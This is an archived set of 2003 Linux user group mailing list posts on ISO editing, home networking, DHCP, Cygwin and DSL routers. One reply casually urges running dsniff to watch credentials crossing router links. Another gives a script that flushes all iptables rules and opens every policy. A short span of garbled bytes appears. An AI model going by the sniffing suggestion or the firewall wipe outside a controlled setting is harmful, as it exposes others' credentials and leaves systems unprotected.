cannot create regular file `./005.zip': Read-only file system cp: cannot create regular file `./1941.zip': Read-only file system . . . [root@tools_linux2 roms]# mount . . . . /home/xxxx/knoppiXMAME/KnoppiXMAME-1.0.iso on /home/xxxx/knoppiXMAME/knopiso type iso9660 (rw,loop=/dev/loop3) /home/xxxx/knoppiXMAME/KnoppiXMAME-1.0.iso on /mnt/knopp type iso9660 (rw,loop=/dev/loop4) [root@tools_linux2 roms]# df -k . Filesystem 1K-blocks Used Available Use% Mounted on /home/xxxx/knoppiXMAME/KnoppiXMAME-1.0.iso 203024 203024 0 100% /mnt/knopp [root@tools_linux2 roms]# . . . > cd .. > umount iso > > > > Bill > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Fri Aug 22 14:08:21 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] edit an iso file ? In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D36A4@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D36A4@BPEXU1VM2.andersencorp.com> Message-ID: On Fri, 22 Aug 2003 13:57:45 -0500, Lansing, Dan wrote: > Edit the permissions? tried that-no love... I went ahead and cleaned house ..er disk, and did it the hard way - mount, copy, change, reiso.. > Just a guess, haven't tried this...the is a windows tool I use > occasionally to edit iso files called winiso but I assume you would > rather not use windows > Don't mind winodws - jsut when it comes to editing *nix files I prefer to stick on the *nix OS... Although, with the new patches for IE out taoday I'm steering clear of IE altogether As well as MS LookOut (outLook) as it uses the same html rendering engine as IE.. Big ol' holes - likea da swiss' cheese! > Dan Lansing > > -----Original Message----- > From: Johnny Fulcrum [mailto:johnnyfulcrum@mn.rr.com] Sent: Friday, > August 22, 2003 1:32 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] edit an iso file ? > > On Thu, 21 Aug 2003 13:26:46 -0500, Bill Layer > wrote: > >> On Thu, 21 Aug 2003 12:43:15 -0500 >> Johnny Fulcrum wrote: >> >>> >>> can one edit an iso file to add some stuff? >> >> Sure. As root: >> >> mkdir -f /mnt/iso >> mount -t iso9660 -o loop,rw image.iso /mnt/iso >> cd /mnt/iso >> >> >> > > I always get that it's a read only filesystem: > > [root@tools_linux2 mnt]# mkdir knopp > [root@tools_linux2 mnt]# mount -t iso9660 -o loop,rw > /home/meierjo/knoppiXMAME/KnoppiXMAME-1.0.iso /mnt/knopp > [root@tools_linux2 mnt]# cd knopp > . > . > . > cp: cannot create regular file `./005.zip': Read-only file system > cp: cannot create regular file `./1941.zip': Read-only file system > > . > . > . > [root@tools_linux2 roms]# mount > . > . > . > . > /home/xxxx/knoppiXMAME/KnoppiXMAME-1.0.iso on > /home/xxxx/knoppiXMAME/knopiso type iso9660 (rw,loop=/dev/loop3) > /home/xxxx/knoppiXMAME/KnoppiXMAME-1.0.iso on /mnt/knopp type iso9660 > (rw,loop=/dev/loop4) > [root@tools_linux2 roms]# df -k . > Filesystem 1K-blocks Used Available Use% Mounted on > /home/xxxx/knoppiXMAME/KnoppiXMAME-1.0.iso > 203024 203024 0 100% /mnt/knopp > [root@tools_linux2 roms]# > . > . > . > >> cd .. >> umount iso >> >> >> >> Bill >> >> _______________________________________________ >> TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >> http://www.mn-linux.org tclug-list@mn-linux.org >> https://mailman.real-time.com/mailman/listinfo/tclug-list >> > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > L"???)?.+-2) > ?y?h?+?J??S"?w?????? 0?yb??h? \??%??f?X??+?m?????????y?m?g??o?j) > fj??b?????n?X? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 14:26:07 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F463960.5060500@druswanderings.net> References: <3F463990.6020006@visi.com> <3F463960.5060500@druswanderings.net> Message-ID: <3F466E4F.7010202@visi.com> Gosh I love networks! >:o I found my problem with WinaXe, it wasn't sshd either. Yesterday I had a little power problem, the lack of it for about 2 seconds. That caused my workstation, Linux box, DSL modem, Linksys router, switch, and lights to go BLACK. Only my Compaq Proliant 2500 stayed up, it isn't on a ups but it is on a very good surge suppressor and a different circuit. Thanks to Compaq for building a work horse. Everything came up just fine, or so I thought. I couldn't get to a website on my Linux box form inside my network or from outside my network and WinaXe wouldn't work. [ http://www.screechowl.org (my website) is on the Compaq box running W2K and Apache. Thanks to Dunn Brothers in Excelsior for having great web access, yes, you can see Lake Minnetonka from the PC's and the coffee is great.] 8-) So I went home and found I couldn't ping my Linux box from any machine on my network. So I fired up Mozilla and connected to the Linksys router, Sure enough DHCP changed the IP address of my Linux box. I changed the IP address in my host files and it works, just call me Homer. :-[ Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Fri Aug 22 14:21:36 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] edit an iso file ? Message-ID: <0399641989D32043BED5793CCC8F5CD526FAB8@BPEXU1VM2.andersencorp.com> I have installed enough *nix like tools on my windows box here at work I almost cant even tell the difference anymore.... Blackbox for windows==>http://bb4win.org/news.php winVI==>http://www.winvi.de/en/ unixutils==>http://unxutils.sourceforge.net/ my work wont let me use anything other than windows 2000 so I have to cope somehow....i no longer know how to launch a program anyway other than from command line or from a right click on the desktop for a menu....start menu baffles me :) -----Original Message----- From: Johnny Fulcrum [mailto:johnnyfulcrum@mn.rr.com] Sent: Friday, August 22, 2003 2:08 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] edit an iso file ? Don't mind winodws - jsut when it comes to editing *nix files I prefer to stick on the *nix OS... Although, with the new patches for IE out taoday I'm steering clear of IE altogether As well as MS LookOut (outLook) as it uses the same html rendering engine as IE.. Big ol' holes - likea da swiss' cheese! From smac at visi.com Fri Aug 22 14:30:33 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] ping but no pong In-Reply-To: <3F465B77.1010501@eworld3.net> References: <3F465B77.1010501@eworld3.net> Message-ID: <3F466F59.4020008@visi.com> Rick Meyerhoff wrote: > I still have not been able to get my network (just a crossover cable) > to work right. At this > point I can ping from w2k to Linux but not from Linux to w2k. Here is > what happens when I try: > > [rick@myLinux rick]$ ping myW2k > PING myW2k (192.168.1.2) 56(84) bytes of data. > > (the link lights on both cards flash in unison but this ping just > "hangs" here without any output until I CTRL-C, then I get...) > > --- myW2k ping statistics --- > 8 packets transmitted, 0 received, 100% packet loss, time 7016ms > > > I am still learning about networking so please don't make any > assumptions. > > Could it be my windoze firewall (ZoneAlarm)? It does not report that > someone has been trying to ping. It's annoying to turn it off because > I only have one mouse (gave the spares away) and if I move the mouse > from the Linux box Linux stops recognizing the mouse when I replace it > and so I have to reboot. > What is in the host file on your Linux box? You should have an entry for every host (machine) on your network hostname ###.###.###.### _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Fri Aug 22 14:27:36 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F466E4F.7010202@visi.com> References: <3F463990.6020006@visi.com> <3F463960.5060500@druswanderings.net> <3F466E4F.7010202@visi.com> Message-ID: <3F466EA8.4040304@druswanderings.net> Sam MacDonald wrote: , just call me Homer. > Great, now there's HomerSam. 8-o -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Fri Aug 22 14:31:28 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F466E4F.7010202@visi.com> References: <3F463990.6020006@visi.com> <3F463960.5060500@druswanderings.net> <3F466E4F.7010202@visi.com> Message-ID: On August 22, 2:26 pm Sam MacDonald wrote: > Gosh I love networks! >:o > > on my network. So I fired up Mozilla and connected to the Linksys > router, Sure enough DHCP changed the IP address of my Linux box. I > changed the IP address in my host files and it works, just call me > Homer. :-[ I would suguest using a staticly assigned IP for the way you are using the box. In redhat (at least in 7.3) you can use netconf to change those settings, or if you feel up to it, you can edit the file /etc/sysconfig/network-scripts/ifcfg-eth0 by hand. Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bruce.broecker at toro.com Fri Aug 22 14:36:48 2003 From: bruce.broecker at toro.com (Bruce Broecker) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] SSHD Message-ID: Alternatively, you can configure the MAC address of your RH box with an assigned IP on the Linksys DHCP server. Bruce Bruce Broecker Network Comm Supervisor The Toro Company >>> list@slushpupie.com 08/22/03 02:31PM >>> On August 22, 2:26 pm Sam MacDonald wrote: > Gosh I love networks! >:o > > on my network. So I fired up Mozilla and connected to the Linksys > router, Sure enough DHCP changed the IP address of my Linux box. I > changed the IP address in my host files and it works, just call me > Homer. :-[ I would suguest using a staticly assigned IP for the way you are using the box. In redhat (at least in 7.3) you can use netconf to change those settings, or if you feel up to it, you can edit the file /etc/sysconfig/network-scripts/ifcfg-eth0 by hand. Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Fri Aug 22 14:40:50 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] SSHD In-Reply-To: References: <3F463990.6020006@visi.com> <3F463960.5060500@druswanderings.net> <3F466E4F.7010202@visi.com> Message-ID: On Fri, 22 Aug 2003 14:31:28 -0500, Jay Kline wrote: > On August 22, 2:26 pm Sam MacDonald wrote: >> Gosh I love networks! >:o >> >> on my network. So I fired up Mozilla and connected to the Linksys >> router, Sure enough DHCP changed the IP address of my Linux box. I >> changed the IP address in my host files and it works, just call me >> Homer. :-[ > > I would suguest using a staticly assigned IP for the way you are using > the I was composing the same message... :) At the router you should be able to change the pool from which DHCP pulls adresses... I reserved 50 or so from the pool for static ip.... Then you can forward ports from the router to specific machines! Like port 22 - so when your at Dunn Bros (best cup of mud around!) you can ssh to your linux box at home! Start up X stuff! Code code! make profits! > box. In redhat (at least in 7.3) you can use netconf to change those > settings, or if you feel up to it, you can edit the file > /etc/sysconfig/network-scripts/ifcfg-eth0 by hand. > > Jay > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Fri Aug 22 14:49:31 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] edit an iso file ? In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FAB8@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD526FAB8@BPEXU1VM2.andersencorp.com> Message-ID: On Fri, 22 Aug 2003 14:21:36 -0500, Lansing, Dan wrote: > I have installed enough *nix like tools on my windows box here at work I > almost cant even tell the difference anymore.... > Blackbox for windows==>http://bb4win.org/news.php > winVI==>http://www.winvi.de/en/ > unixutils==>http://unxutils.sourceforge.net/ Sweet set o' tools there... have you ever checked out http://gnuwin.org/index.html ? nice iso to burn and take with you! > my work wont let me use anything other than windows 2000 so I have to > cope somehow....i no longer know how to launch a program anyway other no dual boot? Man that's harsh! how about vmware? It's big $$ but I had a chance to play with a fully licensed version recently - HA! I made XP run Redhat, Lycoris, Mandrake and Knoppix! ;D > than from command line or from a right click on the desktop for a > menu....start menu baffles me :) > -----Original Message----- > From: Johnny Fulcrum [mailto:johnnyfulcrum@mn.rr.com] Sent: Friday, > August 22, 2003 2:08 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] edit an iso file ? > > Don't mind winodws - jsut when it comes to editing *nix files I prefer > to stick on the *nix OS... > > Although, with the new patches for IE out taoday I'm steering clear of IE > altogether > As well as MS LookOut (outLook) as it uses the same html rendering engine > as IE.. > Big ol' holes - likea da swiss' cheese! > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Fri Aug 22 15:03:14 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] thread hijack was: edit an iso file ?is==>gnuwin Message-ID: <0399641989D32043BED5793CCC8F5CD526FAB9@BPEXU1VM2.andersencorp.com> Have my laptop here so I get to use *nix some....but dual boot would not fly....nor Knoppix...not allowed to let non windows touch the network Dan Lansing -----Original Message----- From: Johnny Fulcrum [mailto:johnnyfulcrum@mn.rr.com] Sent: Friday, August 22, 2003 2:50 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] edit an iso file ? On Fri, 22 Aug 2003 14:21:36 -0500, Lansing, Dan wrote: > I have installed enough *nix like tools on my windows box here at work I > almost cant even tell the difference anymore.... > Blackbox for windows==>http://bb4win.org/news.php > winVI==>http://www.winvi.de/en/ > unixutils==>http://unxutils.sourceforge.net/ Sweet set o' tools there... have you ever checked out http://gnuwin.org/index.html ? nice iso to burn and take with you! > my work wont let me use anything other than windows 2000 so I have to > cope somehow....i no longer know how to launch a program anyway other no dual boot? Man that's harsh! how about vmware? It's big $$ but I had a chance to play with a fully licensed version recently - HA! I made XP run Redhat, Lycoris, Mandrake and Knoppix! ;D > than from command line or from a right click on the desktop for a > menu....start menu baffles me :) > -----Original Message----- > From: Johnny Fulcrum [mailto:johnnyfulcrum@mn.rr.com] Sent: Friday, > August 22, 2003 2:08 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] edit an iso file ? > > Don't mind winodws - jsut when it comes to editing *nix files I prefer > to stick on the *nix OS... > > Although, with the new patches for IE out taoday I'm steering clear of IE > altogether > As well as MS LookOut (outLook) as it uses the same html rendering engine > as IE.. > Big ol' holes - likea da swiss' cheese! > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Fri Aug 22 15:39:28 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] snort, pop3 and plaintext - oh my! Message-ID: Well, I'm bored, sick of the perl script I'm working on, so I play with snort for a while: download snort configure make shoot download pcap Wait, I have the rpm on my mandrake disk!!!! urpmi snort.rpm snort -vde some boring data goes by.. then BAM! Whatwasthat? Oh, my mail client checking mail.. Oh, my password plaintext going out into the great unknown... Oh Roadrunner - why is this so??? ... No response from RR - ... I'm concerned.. I think...(?) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Fri Aug 22 15:58:10 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] snort, pop3 and plaintext - oh my! Message-ID: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAEC@mail.temgweb.com> Run dsniff. :) That's always fun to see what goes across links to routers and such. :) > -----Original Message----- > From: Johnny Fulcrum [mailto:johnnyfulcrum@mn.rr.com] > Sent: Friday, August 22, 2003 3:39 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] snort, pop3 and plaintext - oh my! > > > > Well, I'm bored, sick of the perl script I'm working on, so I > play with > snort for a while: > > download snort > configure > make > > shoot > > download pcap > > > Wait, I have the rpm on my mandrake disk!!!! > > urpmi snort.rpm > > > snort -vde > > some boring data goes by.. then BAM! Whatwasthat? Oh, my > mail client > checking mail.. > > Oh, my password plaintext going out into the great unknown... > > Oh Roadrunner - why is this > so??? > ... > > > No response from RR - ... > > I'm concerned.. I think...(?) > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 16:18:41 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] SSHD In-Reply-To: References: <3F463990.6020006@visi.com> <3F463960.5060500@druswanderings.net> <3F466E4F.7010202@visi.com> Message-ID: <3F4688B1.2030200@visi.com> And miss all the excitement of not being able to find one of my machines on the network? :-D All I had to do is assign the IP address as a static address to the NIC. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Fri Aug 22 16:17:13 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] OT: Feeling Secure? In-Reply-To: <3F462872.6020501@visi.com> References: <20030822083258.GV13598@techmonkeys.org> <3F462872.6020501@visi.com> Message-ID: <20030822211713.GW13598@techmonkeys.org> On Fri, Aug 22, 2003 at 09:28:02AM -0500, Sam MacDonald wrote: > Can you say floppy disk or CD ROM. They were infected with the msblaster worm, AFAIK, it only propogates via one infected system directly connecting to another vulnerable system. -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From troy.johnson at health.state.mn.us Fri Aug 22 16:47:13 2003 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] thread hijack was: edit an iso file ?is==>gnuwin Message-ID: Huh! You'd think it'd be the other way around... :-) >>> Dan.Lansing@AndersenCorp.com 08/22/03 03:03PM >>> Have my laptop here so I get to use *nix some....but dual boot would not fly....nor Knoppix...not allowed to let non windows touch the network Dan Lansing -----Original Message----- From: Johnny Fulcrum [mailto:johnnyfulcrum@mn.rr.com] Sent: Friday, August 22, 2003 2:50 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] edit an iso file ? On Fri, 22 Aug 2003 14:21:36 -0500, Lansing, Dan wrote: > I have installed enough *nix like tools on my windows box here at work I > almost cant even tell the difference anymore.... > Blackbox for windows==>http://bb4win.org/news.php > winVI==>http://www.winvi.de/en/ > unixutils==>http://unxutils.sourceforge.net/ Sweet set o' tools there... have you ever checked out http://gnuwin.org/index.html ? nice iso to burn and take with you! > my work wont let me use anything other than windows 2000 so I have to > cope somehow....i no longer know how to launch a program anyway other no dual boot? Man that's harsh! how about vmware? It's big $$ but I had a chance to play with a fully licensed version recently - HA! I made XP run Redhat, Lycoris, Mandrake and Knoppix! ;D > than from command line or from a right click on the desktop for a > menu....start menu baffles me :) > -----Original Message----- > From: Johnny Fulcrum [mailto:johnnyfulcrum@mn.rr.com] Sent: Friday, > August 22, 2003 2:08 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] edit an iso file ? > > Don't mind winodws - jsut when it comes to editing *nix files I prefer > to stick on the *nix OS... > > Although, with the new patches for IE out taoday I'm steering clear of IE > altogether > As well as MS LookOut (outLook) as it uses the same html rendering engine > as IE.. > Big ol' holes - likea da swiss' cheese! > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hick0088 at tc.umn.edu Fri Aug 22 17:45:43 2003 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] edit an iso file ? In-Reply-To: References: Message-ID: <1061592343.3821.14.camel@3po> On Thu, 2003-08-21 at 12:43, Johnny Fulcrum wrote: > can one edit an iso file to add some stuff? > > I know I can mount it, copy it, add my stuff and then re-iso it, but space > is limited right now . There's a utility called `growisofs' that would probably do what you need. In Debian (testing/unstable, at least) it's available in the dvd+rw-tools package. Another option might be to figure out how to do multi-session CD burning. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Happiness is a warm HDTV / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030822/bd1048a1/attachment.pgp From blots at visi.com Fri Aug 22 18:01:17 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] Router with DSL? In-Reply-To: References: Message-ID: <1061593277.1010.720.camel@lotsa> On Thu, 2003-08-21 at 08:29, pjcrump@bitstream.net wrote: > > When getting DSL, will Qworst provide me with an external modem that I can > > then run into a linksys router? Tom Penney wrote: > You don't need the linksys router (although you could use if you have > reason to) The actiontec router you will be getting from qwest can be > easily set up to connect many computers to the net. On Fri, 2003-08-22 at 08:18, PHPTOm wrote: > I just got the actiontec last week from qwest. 5 bucks a month. It was > easy and I got a win2k, xp and rh9 on the internet. Then I got rooted. A second router wouldn't have helped you. You can filter packets with the actiontec and/or the linksys. It's like putting in a second front door in your house to make it harder to break into. If you don't lock them it's not going to help. -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Fri Aug 22 20:18:09 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] ping but no pong References: <3F465B77.1010501@eworld3.net> Message-ID: <014c01c36914$6a327560$0201a8c0@brinstar> Rick Meyerhoff writes: > I still have not been able to get my network (just a crossover cable) > to work right. At this > point I can ping from w2k to Linux but not from Linux to w2k. Here is > what happens when I try: Disable any firewall running on both Linux and on Windows. This should do it for Linux: export FW=/sbin/iptables for i in filter nat mangle; do $FW -F -t $i; done for i in INPUT OUTPUT FORWARD; do $FW -P $i ACCEPT; done for i in PREROUTING OUTPUT POSTROUTING; do \ $FW -t nat -P $i ACCEPT; done for i in PREROUTING INPUT FORWARD OUTPUT POSTROUTING; do \ $FW -t mangle -P $i ACCEPT; done > It's annoying to turn it off because > I only have one mouse (gave the spares away) and if I move the mouse > from the Linux box Linux stops recognizing the mouse when I replace > it and so I have to reboot. I suggest getting another mouse. You can get a cheap one for less than $10 at many shops. If you are using a PS/2 mouse instead of USB, and it sounds like you are, stop hot swapping it. PS/2 hardware is not hot swappable. On older hardware, you could fry the motherboard doing that. On modern hardware, it usually works, but there is a chance to fry the keyboard or mouse port. Get another mouse, or switch to USB. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rpgoldman at real-time.com Fri Aug 22 21:42:38 2003 From: rpgoldman at real-time.com (rpgoldman@real-time.com) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] Cygwin In-Reply-To: <3F4642D5.5060101@visi.com> References: <3F4642D5.5060101@visi.com> Message-ID: <16198.54430.51759.875370@gargle.gargle.HOWL> >>>>> "Sam" == Sam MacDonald writes: Sam> I'm going back to the Cygwin installation, just because I'll Sam> learn something. Sam> I've installed Cygwin as a default configuration no X11. It Sam> works just spiffy "$". Sam> ?question? I need to run the setup.exe, down load all the Sam> X11 stuff, and install Then I should be able to run a local Sam> (on the w98 box) X windows session At that point I should be Sam> able to setup Putty to us the local X11 and run it on the Sam> remote Linux box. ?/question? I dunno --- why would you use putty (which I think of as a REALLY windows thing) instead of the OpenSSH that comes with cygwin? R _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rpgoldman at real-time.com Fri Aug 22 21:57:09 2003 From: rpgoldman at real-time.com (rpgoldman@real-time.com) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F4646AF.9070506@visi.com> References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> <3F4646AF.9070506@visi.com> Message-ID: <16198.55301.46363.23153@gargle.gargle.HOWL> >>>>> "Sam" == Sam MacDonald writes: Sam> Jay Kline wrote: >>>> Try "/etc/rc.d/init.d/sshd stop" or even "killall sshd" >>>> >> Sam> Um Jay, why aren't you writing documentation for a living, in Sam> 2 paragraphs you explained the whole Linux path to me. I've Sam> read several articles on the path and they sucked or I'm Sam> stupid, lets see, I aint stupid so... Well, part of the problem is that the path doesn't actually LIVE anywhere, conceptually. PATH is part of every shell program, so it's probably documented a little bit in the man page for each of them.... I don't know that there's a good source of information for someone who's learning to use ANY of the shells..... I even hate trying to learn a new one, which is why I still use tcsh, although everyone tells me I should use bash..... R _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Fri Aug 22 21:59:57 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] Cygwin In-Reply-To: <16198.54430.51759.875370@gargle.gargle.HOWL> References: <3F4642D5.5060101@visi.com> <16198.54430.51759.875370@gargle.gargle.HOWL> Message-ID: On Fri, 22 Aug 2003 rpgoldman@real-time.com wrote: > I dunno --- why would you use putty (which I think of as a REALLY > windows thing) instead of the OpenSSH that comes with cygwin? because putty is 10001 times better. use them both side by side for 5 minutes and you will think so too. Munir Nassar RedConcepts.NET http://redconcepts.net/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jethro at freakzilla.com Fri Aug 22 22:06:25 2003 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] Cygwin In-Reply-To: References: <3F4642D5.5060101@visi.com> <16198.54430.51759.875370@gargle.gargle.HOWL> Message-ID: Hey, On Fri, 22 Aug 2003, Munir Nassar wrote: > because putty is 10001 times better. > use them both side by side for 5 minutes and you will think so too. No, I won't. (; I think you're confusing OpenSSH with that atrocity Windows uses to run text-only applications in. But if you're running X under cygwin, you get OpenSSH in a good ol' xterm (or aterm, or eterm, or whatever). I'm a lot happier with 'ssh -X -LL1138:localhost:8888 jethro@someserver' than messing around with putty. -Yaron -- _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 23:14:37 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:51 2005 Subject: [TCLUG] Router with DSL? In-Reply-To: <1061593277.1010.720.camel@lotsa> References: <1061593277.1010.720.camel@lotsa> Message-ID: <3F46EA2C.1090007@visi.com> Tom Penney wrote: >On Thu, 2003-08-21 at 08:29, pjcrump@bitstream.net wrote: > > >>>When getting DSL, will Qworst provide me with an external modem that I can >>>then run into a linksys router? >>> >>> > >Tom Penney wrote: > > >>You don't need the linksys router (although you could use if you have >>reason to) The actiontec router you will be getting from qwest can be >>easily set up to connect many computers to the net. >> >> > >On Fri, 2003-08-22 at 08:18, PHPTOm wrote: > > >>I just got the actiontec last week from qwest. 5 